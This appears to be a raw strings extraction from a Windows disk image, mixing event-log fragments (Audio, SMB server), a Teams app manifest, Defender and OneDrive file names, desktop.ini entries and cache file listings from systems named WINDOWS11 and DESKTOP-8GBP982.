Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational SessionId ConsoleLocked ChangeInLockStatus Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational DEVICE~1.EVTt.x Microsoft-Windows-Shell-Core.evtx Microsoft-Windows-Shell-Core.evtx Microsoft-Windows-Shell-Core.evtx Microsoft-Windows-Shell-Core.evtx 670-A283-0000-24B5-B58A83A2DC01.evtx Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational EventData Data IsTdiEnabled 5http://schemas.microsoft.com/win/2004/08/events/event WIN-FVPT9GE7NQP UserData Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Smb2Namespace SrvNetComponentCapabilities PatchNumber Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Smb2Namespace Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Smb2Namespace NotificationType InterfaceIndex Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Smb2Namespace CountOfCertsTotal CountOfCertsNotRestored Status Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Smb2Namespace FailureType Error DeviceNameLength DeviceName ExtraInformation Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational TransportNameLength TransportName Port TransportType SrvInstances Status \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Smb2Namespace NameLength DomainNameLength DomainName TransportNameLength TransportName TransportFlags WIN-FVPT9GE7NQP WORKGROUP \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Smb2Namespace :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WIN-FVPT9GE7NQP WORKGROUP:\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational DESKTOP-8GBP982 WORKGROUP \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational DESKTOP-8GBP982 WORKGROUP:\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP:\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP:\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP:\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Smb2Namespace InterfaceNameLength InterfaceName -\Device\RdmaSmbIpv6_fe80::e898:abe9:8c77:afeb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational -\Device\RdmaSmbIpv6_fe80::e898:abe9:8c77:afeb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational "\Device\RdmaSmbIpv4_192.168.27.137 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational "\Device\RdmaSmbIpv4_192.168.27.137 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Smb2Namespace :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP:\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP:\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational "\Device\RdmaSmbIpv4_169.254.35.145 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational "\Device\RdmaSmbIpv4_169.254.35.145 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational "\Device\RdmaSmbIpv4_192.168.27.137 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational "\Device\RdmaSmbIpv4_192.168.27.137 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational -\Device\RdmaSmbIpv6_fe80::e898:abe9:8c77:afeb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational -\Device\RdmaSmbIpv6_fe80::e898:abe9:8c77:afeb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP:\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP:\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational !\Device\RdmaSmbIpv4_169.254.51.89 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational !\Device\RdmaSmbIpv4_169.254.51.89 Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP \Device\NetbiosSmb Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational WINDOWS11 WORKGROUP:\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational Microsoft-Windows-SMBServer Microsoft-Windows-SMBServer/Operational @Category windows.shareTarget ShareTarget @Description Send to Microsoft Teams &SupportedFileTypes (SupportsAnyFileType DataFormat #text StorageItems #text Text #text Bitmap @Category windows.desktopAppMigration (DesktopAppMigration DesktopApp @AumId MicrosoftTeams_8wekyb3d8bbwe!MicrosoftTeams @Category windows.appExecutionAlias @Executable ms-teams.exe @EntryPoint Windows.FullTrustApplication $AppExecutionAlias ExecutionAlias @Alias ms-teams.exe @Category windows.toastNotificationActivation 8ToastNotificationActivation *@ToastActivatorCLSID 816EB0E0-F985-4919-BDA3-315878A4ED80 @Category windows.appExtension AppExtension @Name com.microsoft.windows.ai.actions MSTeamsActions @PublicFolder desktop-assets @DisplayName Microsoft Teams Properties Registration #text action_manifest.json @Category windows.startupTask @Executable msteams_autostarter.exe @EntryPoint Windows.FullTrustApplication StartupTask @TaskId TeamsTfwStartupTask @Enabled true @DisplayName Microsoft Teams @Category windows.appUriHandler AppUriHandler Host @Name teams.microsoft.com @Name teams.cloud.microsoft AmMonitoringInstall.mof AMMonitoringProvider.dll AmStatusInstall.mof ClientWMIInstall.mof.ex ConfigSecurityPolicy.exe DefenderCSP.dll DlpUserAgent.exe en-US endpointdlp.dll EppManifest.dll FepUnregister.mof MdeDiag.dll MipDlp.dll MipDlp.exel MpAsDesc.dll MpAzSubmit.dll MpClient.dll MpCmdRun.exe MpCommu.dll MpCopyAccelerator.exe MpDefenderCoreService.exe MpEvMsg.dll MpOAV.dll MpProvider.dll MpRtp.dll MpSenseComm.dll MpSvc.dll MpUpdate.dll MsMpCom.dll MsMpLics.dll MsMpRes.dll NpRep.dll Offline ProtectionManagement.dll shellext.dll FILESY~1.MUI FileSync.LocalizedResources.dll.mui WofCompressedData LOCALI~1.JSO localizable.json WofCompressedData Bundle $I300 Assetsw index.windows.bundle INDEXW~1.BUN INDEXW~1.BUN index.windows.bundle WofCompressedData WofCompressedData $I300 FileSync.LocalizedResources.dll.mui FILESY~1.MUI localizable.json LOCALI~1.JSO FILESY~1.MUI FileSync.LocalizedResources.dll.mui WofCompressedData LOCALI~1.JSO localizable.json WofCompressedData LOGUPL~1.INI logUploaderSettings_temp.ini partnerScanTime = 1771920420 cloudFilesActiveLog = C:\WINDOWS\system32\LogFiles\CloudFiles\CldFlt0.etl|1771920355|4096|PYppIZjzGuRmTBYDiGIhKzdRIOg= LOGUPL~2.INI logUploaderSettings.ini partnerScanTime = 1771920420 cloudFilesActiveLog = C:\WINDOWS\system32\LogFiles\CloudFiles\CldFlt0.etl|1771920355|4096|PYppIZjzGuRmTBYDiGIhKzdRIOg= $I300 FileSync.LocalizedResources.dll.mui FILESY~1.MUI localizable.json LOCALI~1.JSO FILESY~1.MUI FileSync.LocalizedResources.dll.mui WofCompressedData CLDFLT~1.ETL CldFlt2-2026-02-21-111710.etlgz LOCALI~1.JSO localizable.json WofCompressedData $I300 FileSync.LocalizedResources.dll.mui FILESY~1.MUI localizable.json LOCALI~1.JSO FILESY~1.MUI FileSync.LocalizedResources.dll.mui WofCompressedData LOCALI~1.JSO localizable.json WofCompressedData en-GB $I300 FileSync.LocalizedResources.dll.mui FILESY~1.MUI localizable.json LOCALI~1.JSO FILESY~1.MUI FileSync.LocalizedResources.dll.mui WofCompressedData LOCALI~1.JSO localizable.json WofCompressedData en-US $I300 msipc.dll.mui MSIPCD~1.MUI PEOPLE~1 PeoplePicker $I300 FloatingPeoplePicker.js PeoplePicker.scss.js PeoplePickerItems PEOPLE~1 0872AF~1.XML 0872af26047692500f0c318077d1cfd61f3a327d[1].xml update.xml CXP~1.DB- CxP.db-wal CXP~2.DB- CxP.db-shm PEOPLE~1 PeoplePickerItems $I300 PickerItemsDefault.scss.js SelectedItemDefault.js SuggestionItemDefault.js SUGGES~1 Suggestions $I300 $I30 $I30 SuggestionsControl.js SuggestionsControl.scss.js SuggestionsCore.js FOCUST~1 FocusTrapZone $I300 FocusTrapZone.js FocusTrapZone.types.js index.js Packages $I300 $I30 $I30 2txyewyy MicrosoftWindows.Client.OOBE_cw5n1h2txyewy MICROS~1.STArsi $I30 $I30 MICROS~1.CBS MicrosoftWindows.Client.CBS_cw5n1h2txyewy $I300 $I30 $I30 LOCALS~1EM~ RoamingState ROAMIN~1 WINDOW~1.IMM windows.immersivecontrolpanel_cw5n1h2txyewy $I300 $I30 $I30 LOCALS~1 RoamingState ROAMIN~1 LOCALS~1 LocalState $I300 Helium $I300 Cache Cache $I300 $I30 $I30 ec4ced3b4670c70d_COM15.dat ec4ced3b4670c70d_COM15.dat.LOG1 EC4CED~1.DAT EC4CED~2.DAT EC4CED~1.DAT ec4ced3b4670c70d.dat EC4CED~2.DAT ec4ced3b4670c70d_COM15.dat SVFCC2~1.PF0 SVCHOST.EXE-EA9BB143.pf CVERSI~1.DB0 cversions.3.db CUSTOM~1 CustomDestinations $I300 $I30 $I30 7E4DCA~1.CUS ccba5a5986c77e43.customDestinations-ms CCBA5A~1.CUS wmsetup.log $I300 $I300 IE4UIN~2.LOG ie4uinit-ClearIconCache.log 02/20/2026:17:13:58: Command Result: 0x00000000 02/20/2026:17:13:58: ie4uInit.exe exiting. Process Result: 0x00000000 ====================================================== $I300 container.dat CONTAI~1.DAT CPHC93GB JBV0UT7R VEP9X39G VW1VO8WL Content.IE5 $I300 z|r\??\C:\Users\job\AppData\Local\Microsoft\Windows\INetCache\IE C:\Users\job\AppData\Local\Microsoft\Windows\INetCache\IE brndlog.txt History.IE5 $I300 container.dat CONTAI~1.DAT MSHist012026022120260222 MSHIST~1 Bing.url V01RES~2.JRS V01res00002.jrs V01.chk WEBCAC~1.JFM WebCacheV01.jfm WEBCAC~1.DAT WebCacheV01.dat desktop.ini [.ShellClassInfo] LocalizedResourceName=@%CommonProgramFiles%\system\wab32res.dll,-10100 InfoTip=@%CommonProgramFiles%\system\wab32res.dll,-10200 IconResource=%SystemRoot%\system32\imageres.dll,-181 ROAMIN~1 RoamingTiles $I300 desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21796 IconResource=%SystemRoot%\system32\imageres.dll,-115 IconFile=%SystemRoot%\system32\shell32.dll IconIndex=-173 ACCOUN~1 AccountPictures $I300 desktop.ini desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21797 InfoTip=@shell32,dll,-12692 IconResource=%SystemRoot%\system32\imageres.dll,-117 CLSID={0C39A5CF-1A7A-40C8-BA74-8900E6DF5FCD} DOCUME~1.LIB Documents.library-ms Searches $I300 $I30 $I30 Everywhere.search-msarc EVERYW~1.SEAtio Indexed Locations.search-ms INDEXE~1.SEA desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-9031 IconResource=%SystemRoot%\system32\imageres.dll,-18 [LocalizedFileNames] Indexed Locations.search-ms=@searchfolder.dll,-32820 Everywhere.search-ms=@searchfolder.dll,-32822 desktop.ini [.ShellClassInfo] LocalizedResourceName=@C:\Windows\System32\Windows.UI.Immersive.dll,-38305 Startup $I300 desktop.ini desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21787 ADMINI~1 Administrative Tools $I300 desktop.ini desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21762 desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21810 IconResource=%SystemRoot%\system32\imageres.dll,-185 DefaultDropEffect=4 [LocalizedFileNames] Desktop.lnk=@shell32.dll,-21769 Downloads.lnk=@shell32.dll,-21798 MUSIC~1.LIB0 Music.library-ms desktop.ini [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21814 IconResource=%SystemRoot%\system32\imageres.dll,-186 USERDA~1 User Data $I300 Edge Shoppinges HYPHEN~1sio SAFETY~1che $I30 $I30 Variations SYSTEM~1 SystemCertificates $I300 $I300 AppContainerUserCertRead APPCON~1ate Certificates CERTIF~1 CRLs CTLs CERTIF~1 Certificates $I300 CRLs $I300 CTLs $I300 APPCON~1 AppContainerUserCertRead mscorlib.dll WofCompressedData $DSC Themes $I300 slideshow.inilp SLIDES~1.INIllp TranscodedWallpaper TRANSC~1 TRANSC~1 TranscodedWallpaper ICONCA~1.DB0 iconcache_idx.db ICONCA~2.DB0 iconcache_16.db ICONCA~3.DB0 iconcache_32.db ICONCA~4.DB0 iconcache_48.db IC1070~1.DB0 iconcache_96.db ICD45C~1.DB0 iconcache_256.db SV63E6~1.PF0 SVCHOST.EXE-ED843F3F.pf SMALLT~1.PNG SmallTile.scale-100.png0 SmallTile.scale-100.png $DSC SMALLT~1.PNG SmallTile.scale-100.png0 SmallTile.scale-100.png $DSC SMALLT~1.PNG SmallTile.scale-100.png SecureTimeAggregator.dll SecureTimeAggregator.dll WofCompressedData $DSC SecurityCenterBrokerPS.dll SecurityCenterBrokerPS.dll WofCompressedData $DSC SecurityHealthProxyStub.dll0 SecurityHealthProxyStub.dll WofCompressedData $DSC SecurityHealthSsoUdk.dll SecurityHealthSsoUdk.dll WofCompressedData $DSC ServiceModelPerformanceCounters.dll0 #ServiceModelPerformanceCounters.dll WofCompressedData $DSC ServiceModelPerformanceCounters.dll0 #ServiceModelPerformanceCounters.dll WofCompressedData $DSC ServiceModelRegMigPlugin.dll ServiceModelRegMigPlugin.dll WofCompressedData $DSC SessionHandleIPCProxyStub.dll SessionHandleIPCProxyStub.dll WofCompressedData $DSC System.Runtime.Serialization.dll System.Runtime.Serialization.dll SYSTEM~1.DLL System.Runtime.Serialization.dll $DSC SYSTEM~1.DLL System.Runtime.Serialization.dll $DSC +System.Runtime.Serialization.Formatters.dll0 +System.Runtime.Serialization.Formatters.dll .dll0 +System.Runtime.Serialization.Formatters.dll 77EC63~1 77EC63BDA74BD0D0E0426DC8F8008506 http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab SYSTEM~1.DLL System.Security.dll WofCompressedData $DSC WofCompressedData $DSC System.Security.dll0 System.Security.dll System.Security.Claims.dll System.Security.Claims.dll Security.Claims.dll System.Security.Claims.dll $DSC 26C212~1 26C212D9399727259664BDFCA073966E_912C3CA51DE6018A7BE4CA7BC64AAFCD http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAjTxtAB8my1oj8MfWpz%2F7Y%3D WofCompressedData $DSC System.Web.dll WofCompressedData $DSC SYSTEM~1.DLL SYSTEM~1.DLL System.Web.dll $DSC SYSTEM~1.DLL "System.Windows.Controls.Ribbon.dll "System.Windows.Controls.Ribbon.dll "System.Windows.Controls.Ribbon.dll SYSTEM~1.DLL System.Windows.Controls.Ribbon.dll WofCompressedData $DSC SettingsHandlers_ClosedCaptioning.dll %SettingsHandlers_ClosedCaptioning.dll WofCompressedData $DSC SYSTEM~1.DLL System.Windows.Forms.dll System.Windows.Forms.dll RdpAvenc.dll.mui RDPAVE~1.MUI RdpAvenc.dll.mui $DSC rdpcfgex.dll.mui RDPCFG~1.MUI rdpcfgex.dll.mui WofCompressedData $DSC rdpclip.exe.mui0 RDPCLI~1.MUI rdpclip.exe.mui $DSC rdpcorets.dll.mui RDPCOR~1.MUI rdpcorets.dll.mui WofCompressedData $DSC SecurityHealthAgent.dll.mui0 SECURI~1.MUI SecurityHealthAgent.dll.mui WofCompressedData $DSC securityhealthsso.dll.mui SECURI~1.MUI securityhealthsso.dll.mui $DSC SEMGRS~1.MUI semgrsvc.dll.mui $DSC SEMGRS~1.MUI semgrsvc.dll.mui semgrsvc.dll.mui $DSC 'ServiceModelPerformanceCounters.dll.mui0 SERVIC~3.MUI ServiceModelPerformanceCounters.dll.mui WofCompressedData $DSC ServiceModelRegUI.dll.mui SERVIC~4.MUI ServiceModelRegUI.dll.mui WofCompressedData $DSC ServiceModelRegUI.dll.mui SERVIC~4.MUI ServiceModelRegUI.dll.mui WofCompressedData $DSC serwvdrv.dll.mui serwvdrv.dll.mui SERWVD~1.MUI serwvdrv.dll.mui serwvdrv.dll.mui $DSC TASKBA~1.MUI taskbarcpl.dll.mui $DSC WofCompressedData $DSC taskcomp.dll.mui WofCompressedData $DSC taskhostw.exe.mui TASKHO~1.MUI taskhostw.exe.mui $DSC WofCompressedData $DSC TASKKI~1.MUI taskkill.exe.mui WofCompressedData $DSC WofCompressedData $DSC TASKLI~1.MUI tasklist.exe.mui WofCompressedData $DSC Taskmgr.exe.mui0 TASKMG~1.MUI Taskmgr.exe.mui WofCompressedData $DSC TASKMG~1.MUI Taskmgr.exe.mui $DSC WofCompressedData $DSC taskschd.dll.mui WofCompressedData $DSC UMOUNT~1.MUI umount.exe.mui $DSC umpoext.dll.mui0 UMPOEX~1.MUI umpoext.dll.mui 